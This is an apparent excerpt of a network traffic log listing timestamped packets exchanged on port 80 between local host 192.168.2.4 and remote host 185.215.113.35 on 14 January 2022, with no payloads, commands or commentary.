Jan 14, 2022 09:26:00.460118055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460325956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460341930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460555077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460572004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460794926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460808992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.460953951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.461153030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.461172104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.461659908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.461811066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.461929083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.462078094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.462320089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.462562084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.462860107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.463144064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.463287115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.463455915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.463578939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.463798046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.463812113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464020967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464039087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464267015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464286089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464513063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464531898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464754105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464772940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464978933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.464993000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465204000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465220928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465429068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465442896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465673923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465692043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465847015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.465861082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466036081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466052055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466212988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466227055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466396093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466412067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466568947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466583014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466743946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466759920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466922045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.466937065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467104912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467122078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467278957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467293024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467453957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467470884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467628956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467644930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467811108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467827082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467986107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.467999935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468166113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468182087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468341112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468354940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468523026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468539000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468703985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468718052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468887091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.468904018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.469068050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.469082117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.469309092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.469336987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.470252991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.470503092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.470572948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.470673084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.470794916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.471138954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.489896059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.490545034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.490727901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.490742922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.490917921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.490935087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491105080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491121054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491290092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491307020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491455078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491471052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491626978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491652966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491808891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491825104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491980076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.491995096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492185116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492199898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492366076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492383003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492547035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492563009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492728949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492744923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492908001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.492922068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493089914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493103981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493274927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493288994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493463993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493482113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493629932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493645906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493828058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.493844986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494009018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494023085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494191885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494209051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494374037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494388103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494553089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494570017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494740963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494755030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494930029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.494946957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.495105982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.495121002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.495266914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.495284081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.495361090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.495521069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.495538950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.496126890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.496253014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.496942997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.497550964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.498078108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.498094082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.498447895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.498465061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.503451109 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.539849043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.540932894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.541636944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.541946888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.542334080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.542351007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.542684078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.542701960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.543030977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.543052912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.543366909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.543399096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.543701887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.543730021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.544024944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.544047117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.544354916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.544379950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.544718027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.544742107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545053005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545095921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545384884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545408010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545672894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545694113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545892954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545902967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.545902014 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.546102047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546119928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546317101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546335936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546531916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546549082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546751022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546761990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.546772957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.546878099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.547084093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.547101021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.552881002 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.557513952 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.557549000 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.557574034 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.557601929 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.557718039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.557746887 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.558418989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.565263987 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.578627110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.579161882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.579524040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.579690933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.580456018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.580802917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.580885887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581031084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581202030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581224918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581435919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581450939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581609011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581626892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581805944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581820965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.581981897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582000017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582165956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582180023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582341909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582357883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582524061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582539082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582700014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582716942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582884073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.582897902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583071947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583087921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583264112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583278894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583439112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583456993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583630085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583646059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583831072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.583847046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584099054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584112883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584285021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584302902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584455967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584470987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584640026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584656954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584809065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584822893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.584989071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585005999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585155964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585170984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585335016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585350990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585452080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585664034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585690022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.585820913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.586081028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.586451054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.586679935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.586937904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.587236881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.587626934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.587838888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.588229895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.588407040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.588572979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.588747978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.588754892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.588937044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.588954926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589066029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589210033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589328051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589442968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589459896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589579105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589689970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589786053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.589907885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590008974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590157032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590171099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590289116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590399027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590502024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590605974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590708971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590820074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.590914011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.591022968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.591265917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.591800928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.591818094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.592217922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.592233896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.592623949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.592638016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.593033075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.593050003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.601641893 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.601680994 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.609963894 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.610006094 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.610968113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.611594915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.611852884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.612117052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.612289906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.612427950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.612684965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.612699986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.612931967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.612947941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613164902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613178968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613375902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613392115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613606930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613620996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613821030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.613837004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614052057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614067078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614264011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614279985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614490032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614504099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614705086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614721060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614933014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.614948034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.615147114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.615163088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.615444899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.615458965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.615650892 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.615669012 CET	49891	80	192.168.2.4	185.215.113.35
